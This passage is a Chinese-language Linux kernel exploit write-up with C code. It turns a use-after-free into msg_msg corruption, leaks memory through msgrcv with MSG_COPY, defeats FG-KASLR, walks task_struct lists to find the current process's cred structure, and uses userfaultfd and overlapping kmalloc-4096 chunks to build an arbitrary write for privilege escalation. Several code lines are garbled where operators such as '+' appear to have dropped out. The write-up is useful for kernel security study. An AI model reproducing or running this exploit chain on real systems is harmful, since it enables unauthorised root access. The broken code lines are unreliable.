泄露内存:利用UAF改大 QID #0 队列的消息msg_msg->m_ts,调用msgrcv()越界读取 QID #0 队列的第1个消息,m_list.next (指向下一个消息 kmalloc-4096)和 m_list.prev (指向QID #1队列),最后我们还能泄露 sysfs_bin_kfops_ro,由于该符号位于内核的data节,所以不受FG-KASLR保护的影响,所以可以用来计算内核基址。
[...]
void *recv_msg(int qid, size_t size)
{
void *memdump = malloc(size);
if (msgrcv(qid, memdump, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR) == -1)
{
perror("msgrcv");
return NULL;
}
return memdump;
}
[...]
uint64_t *arb_read(int idx, uint64_t target, size_t size, int overwrite)
{
struct evil_msg *msg = (struct evil_msg *)malloc(0x100);
msg->m_type = 0;
msg->m_ts = size; // [2] 调用edit_rule()覆盖目标对象的 m_ts 域
if (overwrite)
{
msg->next = target;
edit_rule(idx, (unsigned char *)msg, OUTBOUND, 0);
}
else
{
edit_rule(idx, (unsigned char *)msg, OUTBOUND, 1); // [3]
}
free(msg);
return recv_msg(qid[0], size); // [4] 调用 recv_msg(),也即msgrcv()的包装函数,注意使用 MSG_COPY flag, 就能泄露内存。由于我们破坏了 m_list.next 和 m_list.prev 指针,所以如果不使用 MSG_COPY flag 的话,do_msgrcv() 就会 unlink message,导致出错崩溃。
}
[...]
uint64_t *leak = arb_read(0, 0, 0x2000, 0); // [1] 调用 arb_read(), 参数0x2000
[...]
思路:根据sysfs_bin_kfops_ro 地址可计算出内核基址,得到init_task的地址,即系统执行的第一个进程的 task_struct 结构。 task_struct 中有3个成员很重要:tasks 包含指向前后 task_struct的指针(偏移0x298),pid 进程号(偏移0x398),cred 进程的凭证(偏移0x540)。
exp中,我们调用 find_current_task() 来遍历所有的task [1],从init_task开始找到当前进程的task_struct [2],find_current_task()多次调用 arb_read(),利用UAF篡改msg_msg->m_ts 和msg_msg->next指针,调用msgrcv()泄露出指向下一个task的tasks->next指针 [3] 和 PID [4],然后直到找到当前task。
[...]
uint64_t find_current_task(uint64_t init_task)
{
pid_t pid, next_task_pid;
uint64_t next_task;
pid = getpid();
printf("[ ] Current task PID: %d\n", pid);
puts("[*] Traversing tasks...");
leak = arb_read(0, init_task 8, 0x1500, 1) 0x1f9;
next_task = leak[0x298/8] - 0x298;
leak = arb_read(0, next_task 8, 0x1500, 1) 0x1f9;
next_task_pid = leak[0x398/8];
while (next_task_pid != pid) // [2]
{
next_task = leak[0x298/8] - 0x298; // [3]
leak = arb_read(0, next_task 8, 0x2000, 1) 0x1f9;
next_task_pid = leak[0x398/8]; // [4]
}
puts("[ ] Current task found!");
return next_task;
}
[...]
puts("[*] Locating current task address...");
uint64_t current_task = find_current_task(init_task); // [1]
printf("[ ] Leaked current task address: 0x%lx\n", current_task);
[...]
具体:篡改 msg_msg->m_ts 为0x2000,篡改 msg_msg->next指针指向 task_struct结构(注意头8字节为null),遍历双链表直到读取到当前进程的task_struct。同理泄露当前进程的cred地址。
[...]
leak = arb_read(0, current_task, 0x2000, 1) 0x1fa;
cred_struct = leak[0x540/8];
printf("[ ] Leaked current task cred struct: 0x%lx\n", cred_struct);
[...]
目标:目前已获取当前进程的task地址和cred地址,需构造任意写,但前提需要构造任意释放。根本目标是构造重叠的kmalloc-4096堆块,让其既充当一个消息的msg_msgseg segment,又充当另一个消息的msg_msg,这样就能覆写msg_msg->next指针构造任意写。 问题,为什么不构造重叠的kmalloc-64?因为kmalloc-64作为msg_msg的话不可能有segment,不能伪造它的msg_msg->next来任意写;且传入的长度已确定,无法写segment来任意写。
释放消息:首先释放QID #1中的消息,两次调用msgrcv()(不带MSG_COPY flag)。
- (1)第一次调用 msgrcv(),内核释放QID #1中第1个消息-kmalloc-64;
- (2)第二次调用 msgrcv(),内核释放第2个消息-kmalloc-4096和相应的segment(也在kmalloc-4096中)。
[...]
msgrcv(qid[1], memdump, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR); // [1]
msgrcv(qid[1], memdump, 0x1ff8, 1, IPC_NOWAIT | MSG_NOERROR); // [2]
[...]
内存布局如下:
kmalloc-4096释放顺序:注意,前面的exp中,我们泄露了kmalloc-4096的地址(QID #1 中消息2的msg_msg地址),前面我们第2次调用msgrcv()时,内核调用 do_msgrcv() -> free_msg() 先释放 kmalloc-4096的msg_msg,再释放kmalloc-4096的segment,由于后进先出,分配新的消息时会先获取segment对应的kmalloc-4096,所以新的msg_msg占据之前的segment,新的segment占据之前的msg_msg。
申请消息-QID #2:子线程创建新消息,首先创建队列QID #2 [2],再调用msgsnd()创建0x1ff8大小的消息(0x30的头和0x1fc8的数据),内核中会创建0x30 0xfd0大小的msg_msg和0x8 0xff8大小的msg_msgseg。
用户传入数据位于page_1 PAGE_SIZE - 0x10,使用 userfaultfd 来监视 page_1 PAGE_SIZE 位置,等待页错误,第2个页错误。当load_msg()调用copy_from_user()拷贝时触发页错误,结果如下图所示,现在我们已知新的segment地址(QID #1 中消息2的msg_msg地址),原因已经阐明。QID #2 布局如下图所示:
[...]
void *allocate_msg1(void *_)
{
printf("[Thread 1] Message buffer allocated at 0x%lx\n", page_1 PAGE_SIZE - 0x10);
if ((qid[2] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)) == -1) // [2] 创建队列 QID #2
{
perror("msgget");
exit(1);
}
memset(page_1, 0, PAGE_SIZE);
((unsigned long *)(page_1))[0xff0 / 8] = 1;
if (msgsnd(qid[2], page_1 PAGE_SIZE - 0x10, 0x1ff8 - 0x30, 0) < 0) // [3] 调用msgsnd() 创建0x1ff8大小的消息,新的`msg_msg`占据之前的segment,新的segment占据之前的`msg_msg`。
{
puts("msgsend failed!");
perror("msgsnd");
exit(1);
}
puts("[Thread 1] Message sent, *next overwritten!");
}
[...]
pthread_create(&tid[2], NULL, allocate_msg1, NULL); // [1] 子线程创建新消息
[...]